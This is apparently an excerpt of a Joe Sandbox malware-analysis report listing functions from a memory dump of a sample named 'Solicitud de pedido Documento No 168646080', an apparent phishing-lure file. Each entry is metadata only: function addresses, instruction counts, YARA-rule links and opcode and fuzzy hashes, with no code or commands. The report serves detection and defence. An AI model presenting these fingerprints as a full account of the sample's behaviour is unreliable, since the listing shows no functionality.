                                                                                                              • Instruction Fuzzy Hash: 65413931A00211EBDB21DEAD8C907FABBA6EB50768F15816AED458B341D7328DC1CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01690710 Relevance: .1, Instructions: 121COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: cfe855aa5370e709d3beaf8d0a0824e85895befd2a0058a9eb758e5aacecaf96
                                                                                                              • Instruction ID: 82c02a5361e021947bef9d05c07b1478cb81011cef92224e910f9168b92c070b
                                                                                                              • Opcode Fuzzy Hash: cfe855aa5370e709d3beaf8d0a0824e85895befd2a0058a9eb758e5aacecaf96
                                                                                                              • Instruction Fuzzy Hash: 18413675A00605EFDB24CF98C990AAABBFDFF18710B10496DE556DB690D330EA45CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0166262C Relevance: .1, Instructions: 119COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1e43a1c994623e105025967e8b7e35bfd472d7d0be5574dc063d2c8f4deda869
                                                                                                              • Instruction ID: 527ed957299d5831c80afb194bf8d6899e1ee2a8daa88c164aa631521b6f8905
                                                                                                              • Opcode Fuzzy Hash: 1e43a1c994623e105025967e8b7e35bfd472d7d0be5574dc063d2c8f4deda869
                                                                                                              • Instruction Fuzzy Hash: 0E41B1B0501701DFCB21EF28DD50A65BBBAFF54324F1082ADD4069B7A1DB70A981CB51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E05A7 Relevance: .1, Instructions: 111COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 53fbcdc9aeec32303311132776a2fb8010496e431c1448a3beac5cada31b97ee
                                                                                                              • Instruction ID: 0882e6d1664612f28884258b65a832ee76e74e37a5494ba3d4e96a1919a0651b
                                                                                                              • Opcode Fuzzy Hash: 53fbcdc9aeec32303311132776a2fb8010496e431c1448a3beac5cada31b97ee
                                                                                                              • Instruction Fuzzy Hash: DC41D1726056529BC320DF28CC44B6AB7EABFC8700F240A1DF95597780E770E905CBAA
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016702E1 Relevance: .1, Instructions: 106COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                                                                              • Instruction ID: a2bfa54f0c9cff04f88bf54a1314b46d242368bcef88ac09352cfbf6b6616045
                                                                                                              • Opcode Fuzzy Hash: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                                                                              • Instruction Fuzzy Hash: 6E312431A04245AFDB22CB6CCC80BABBFE9EF15360F0445AAF815D7352D7749885CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0170E3DB Relevance: .1, Instructions: 105COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 12f9a6d1d267a737f46c941706dc5885a1291232ae7c28bd009a6a8bc809170b
                                                                                                              • Instruction ID: 3ed5f93a41d6e895110b666aa24a42c68a595bd280cf7657c22b775c2af5e57d
                                                                                                              • Opcode Fuzzy Hash: 12f9a6d1d267a737f46c941706dc5885a1291232ae7c28bd009a6a8bc809170b
                                                                                                              • Instruction Fuzzy Hash: 6031A671740706EBD723AF658C41F6FB6E9AB58B54F110468F600AB3D1DAA4DC00D7A4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01664260 Relevance: .1, Instructions: 102COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b10bd6590fec19886aff14b661099090b513c0b8f37d94ed8221aec121276144
                                                                                                              • Instruction ID: 2a03eb001dbcc0f429cd9e1b4dec1f3b38aeac6a60aa046afc47ca687456bbb1
                                                                                                              • Opcode Fuzzy Hash: b10bd6590fec19886aff14b661099090b513c0b8f37d94ed8221aec121276144
                                                                                                              • Instruction Fuzzy Hash: B041AE35200B45DFD722CF29CD81BE6BBEAEB49714F00842DE65A8B350DB74E804CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 017261C3 Relevance: .1, Instructions: 97COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c4ec7782edea5abb088dca3b79aae5726800c49272ccf59b194e1b2170a8c7e7
                                                                                                              • Instruction ID: 749ff6ed789860e758991646a8d62bae871f993c6a1e364d2f175ac7db7384b9
                                                                                                              • Opcode Fuzzy Hash: c4ec7782edea5abb088dca3b79aae5726800c49272ccf59b194e1b2170a8c7e7
                                                                                                              • Instruction Fuzzy Hash: 1531B075A0026AABDB15DF98CC40BAEF7F6EB49B40F554169F900EB244D7B0ED01CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 017260B8 Relevance: .1, Instructions: 95COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 03d46ad70d07b8a1c2076fbe848afd93f84e85f3125b26f5b1882248599b4b71
                                                                                                              • Instruction ID: 001b8a25834be625986b5ddbd800300b13e9f8c0a49f3b55bb501fa97f90cd84
                                                                                                              • Opcode Fuzzy Hash: 03d46ad70d07b8a1c2076fbe848afd93f84e85f3125b26f5b1882248599b4b71
                                                                                                              • Instruction Fuzzy Hash: 8D318871600626EBD7229F59CC50B6EF7B6EF44754F10406EF905DB352DA70ED019790
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016607AF Relevance: .1, Instructions: 95COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 256914189171f441040d75425e3e7dccf86f9afa66b555044539c64367f0ae74
                                                                                                              • Instruction ID: 2b0e8424df4fe7ed539afedb7cd74d86d2335ff6ad5721ca0022a9f3f7159bc1
                                                                                                              • Opcode Fuzzy Hash: 256914189171f441040d75425e3e7dccf86f9afa66b555044539c64367f0ae74
                                                                                                              • Instruction Fuzzy Hash: 8A31B476A04712EBCB12DE288C80AABBBAAAF94650F02453DFD5697310DB30DC0187E5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01668550 Relevance: .1, Instructions: 94COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4a5e0e1931bf5ee3dfd41784b314150b8cd7839f958c86958db675332c3f7806
                                                                                                              • Instruction ID: 4a136c5a7dc256f1e9c16f9e9bfdfa94aee7463c925473d0c889e73840170312
                                                                                                              • Opcode Fuzzy Hash: 4a5e0e1931bf5ee3dfd41784b314150b8cd7839f958c86958db675332c3f7806
                                                                                                              • Instruction Fuzzy Hash: F1318CB16093018FE760CF29CC40B2AFBE9FB98B00F05496EE98597351D771E944CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169A6C7 Relevance: .1, Instructions: 92COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                                                                                                              • Instruction ID: 0759f1f57a874b0cde86cb8a55314d239fda404c5294f774f53bfca48f8a432f
                                                                                                              • Opcode Fuzzy Hash: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
                                                                                                              • Instruction Fuzzy Hash: 48312E76B00701AFDB61CF6DDD41B67BBF8AB48650F04092DA59AC7751E730E9008B64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0168438F Relevance: .1, Instructions: 89COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 95097661d980b12ac0816a7ca4d3b52b2233f50b56a05ec0f91efbe33db8ce56
                                                                                                              • Instruction ID: 9d26f7674c3c25637f0c100941bd9ac58e369204ec78339c9290becc756b6909
                                                                                                              • Opcode Fuzzy Hash: 95097661d980b12ac0816a7ca4d3b52b2233f50b56a05ec0f91efbe33db8ce56
                                                                                                              • Instruction Fuzzy Hash: E131C272B012069FD720EFA9CD81B6EBBFAEB84744F10862AD105D7654DB30E945CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165C156 Relevance: .1, Instructions: 88COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3d184ba7e76284dfe96f48d3c7bcbff2a00e65270d5b752d8e6f0f61d1dbfff2
                                                                                                              • Instruction ID: 9bba53a269fa8989ab3793a76c625c67ad7ea0ad544a5be25f60e73cdf487132
                                                                                                              • Opcode Fuzzy Hash: 3d184ba7e76284dfe96f48d3c7bcbff2a00e65270d5b752d8e6f0f61d1dbfff2
                                                                                                              • Instruction Fuzzy Hash: C63135715003118BDB21AF68CC91BF977B5EF41318F9481ADE9469F382EB7499C2CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0171C3CD Relevance: .1, Instructions: 88COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                                                                              • Instruction ID: 8c7aacf0374049624b06ef86fcc79cc11196d6b76fc8b21d9f203bcb77fbd6a4
                                                                                                              • Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                                                                              • Instruction Fuzzy Hash: AF212D3A68065267CB16ABDD8C04BBAFFB5EF40710F40801EFE5587695E634DA40C760
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165E420 Relevance: .1, Instructions: 88COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 636a508d96baaee66e1e8f5ef39a7e5be30f853087c618343ec4b80e4cae794f
                                                                                                              • Instruction ID: 3272331b2723ff1f1d5ae52ccf98eb82681430dd3e1b82a84751edbc2b4b96cb
                                                                                                              • Opcode Fuzzy Hash: 636a508d96baaee66e1e8f5ef39a7e5be30f853087c618343ec4b80e4cae794f
                                                                                                              • Instruction Fuzzy Hash: DB31C231A015289BDF31DF18CC41BEEBBBAAB15740F0100A5EA45A7290D7B5AF818F91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01694588 Relevance: .1, Instructions: 87COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                                                                              • Instruction ID: c57eea66605229a082a917329c38aa1ab3b2f85f2f2c03eff4799dfd862a7a69
                                                                                                              • Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                                                                              • Instruction Fuzzy Hash: FB217471A00615EBCF15CF58CE80A8EBBB9FF48714F108569EE15DB241DA71DE06CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016944B0 Relevance: .1, Instructions: 87COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: af1bc84169b779ae6a380388a25a7b68318290ae1878615247c6ff18f2039890
                                                                                                              • Instruction ID: a3140d27bdf3d5dcca06bc58d2507ef01c4255dcf770137725dca7c4be78826b
                                                                                                              • Opcode Fuzzy Hash: af1bc84169b779ae6a380388a25a7b68318290ae1878615247c6ff18f2039890
                                                                                                              • Instruction Fuzzy Hash: 8D21C5725047459BCB21DF58CD40B6B77E9FB88760F004519FD549B741DB30E902CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165E388 Relevance: .1, Instructions: 86COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                                                                              • Instruction ID: f9c464c2e5e6f41f7b7f9aae94b0a0d0ca747c0b840178033afa88ec4a723d9c
                                                                                                              • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                                                                              • Instruction Fuzzy Hash: 50317A31600605EFDB21DFA8C984F6AB7B9EF45354F1445A9E9528B391E730EE42CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016DE609 Relevance: .1, Instructions: 86COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: cc14f63c11898a9aaf29cbc9fddae0f2091e0890c77ba2b6cac3557291d099b1
                                                                                                              • Instruction ID: 425006851ce155f13145ef21a7236cca006d2ec140cdf0cb5e3d5622545309a4
                                                                                                              • Opcode Fuzzy Hash: cc14f63c11898a9aaf29cbc9fddae0f2091e0890c77ba2b6cac3557291d099b1
                                                                                                              • Instruction Fuzzy Hash: 88318B75A00255DFCB14CF1CCC849AEBBB6FF88704B15845AF8099B391E772EA41CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E06F1 Relevance: .1, Instructions: 79COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1fe0c45427a913699d8377d209ce6723d5c3a3be1e74eeb18d021abc7d7ce641
                                                                                                              • Instruction ID: ff20ba714a8f40b78f7a0c03d4c6d965aceaa6015ea8342d5032f65e2dca5c4c
                                                                                                              • Opcode Fuzzy Hash: 1fe0c45427a913699d8377d209ce6723d5c3a3be1e74eeb18d021abc7d7ce641
                                                                                                              • Instruction Fuzzy Hash: 4A218D71A01229ABCF20DF59CC81ABEB7F9FF48740B544169F941AB240D778AD42CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E019F Relevance: .1, Instructions: 78COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6ac07fddec7963de6e06b54db42deca05acbe81d9f05d48527d57dedc3a2f721
                                                                                                              • Instruction ID: c0167aacdd5dec2a82a26d4c7d86e68d5e477f10a7a8b98b43974ba4833ee07a
                                                                                                              • Opcode Fuzzy Hash: 6ac07fddec7963de6e06b54db42deca05acbe81d9f05d48527d57dedc3a2f721
                                                                                                              • Instruction Fuzzy Hash: 3D219772A00645AFD715DBA8CD84B6AB7E8FF48740F144169F904DB7A0D774ED40CBA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E0283 Relevance: .1, Instructions: 74COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 69903dad9fba882f20cb6eee5bf4fbee52f33ce644eb80d6724620797411007a
                                                                                                              • Instruction ID: 8e3160dd6451608eac12d23f230ab63847247523c9170ac93a7e6284ad6a6140
                                                                                                              • Opcode Fuzzy Hash: 69903dad9fba882f20cb6eee5bf4fbee52f33ce644eb80d6724620797411007a
                                                                                                              • Instruction Fuzzy Hash: FE21F272A063469FD711EF59CD48B6BBBECEF90640F08465ABD80C7351E770C905C6A2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169A30B Relevance: .1, Instructions: 70COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5481a57f2acdc845941b70c2a76440bed7f8cc89e90dc41d7c479fa05de4d4ad
                                                                                                              • Instruction ID: 0c90861941f208ae46be111d6a9698dc91b10f6c50b96f2352be14f4bf144c10
                                                                                                              • Opcode Fuzzy Hash: 5481a57f2acdc845941b70c2a76440bed7f8cc89e90dc41d7c479fa05de4d4ad
                                                                                                              • Instruction Fuzzy Hash: FC217975640A119FCB25DF69CD01B56B7F6BF48B04F24846CE50ACBB61E371E842CB98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0171A49A Relevance: .1, Instructions: 70COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 19b64c359dfd408993587eed6485683cca68b3634ff6d8ce6f99749d24f3bf23
                                                                                                              • Instruction ID: a943318f8d2f8f9cc60ae3d157afd8d6a90147af18e48d829bae62b304152d5d
                                                                                                              • Opcode Fuzzy Hash: 19b64c359dfd408993587eed6485683cca68b3634ff6d8ce6f99749d24f3bf23
                                                                                                              • Instruction Fuzzy Hash: 6211E372285A51BBE722565D9C01F67BA9E9BD4B70F210428BB08CB288EB70DC0187A5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E0946 Relevance: .1, Instructions: 70COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1be9010c5afc5dacf3a52e19a19aa434b1f77d7aa85a6f72dd6f100b93106606
                                                                                                              • Instruction ID: 07b1cf341d6808ebd88a047aa8bafbea65321d2d4d4ecfc965987c484f51a3ec
                                                                                                              • Opcode Fuzzy Hash: 1be9010c5afc5dacf3a52e19a19aa434b1f77d7aa85a6f72dd6f100b93106606
                                                                                                              • Instruction Fuzzy Hash: 7C21E7B1E01349ABCB10DFAAD8859AEFBF9FF98710F10022FE405A7251D7B09941CB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016F80A8 Relevance: .1, Instructions: 69COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                                                                              • Instruction ID: dc30110c93d543d24d44ade76d39d025aba19c2690c272e63f95467aaebba2d3
                                                                                                              • Opcode Fuzzy Hash: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                                                                              • Instruction Fuzzy Hash: 22216F72A0020AAFDB12DF58CC40B9EBBBAFF84311F204459FA01A7251D734D951DB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01690124 Relevance: .1, Instructions: 68COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                                                                              • Instruction ID: 4b765ff31c4c903c9d9310490c71e1a810c24932576c2498f0ea404d7edf6ae7
                                                                                                              • Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                                                                              • Instruction Fuzzy Hash: 8511E2B3601615BFDB229F84CC41F9ABBBDEF80755F100469F6008B280D671ED45CB54
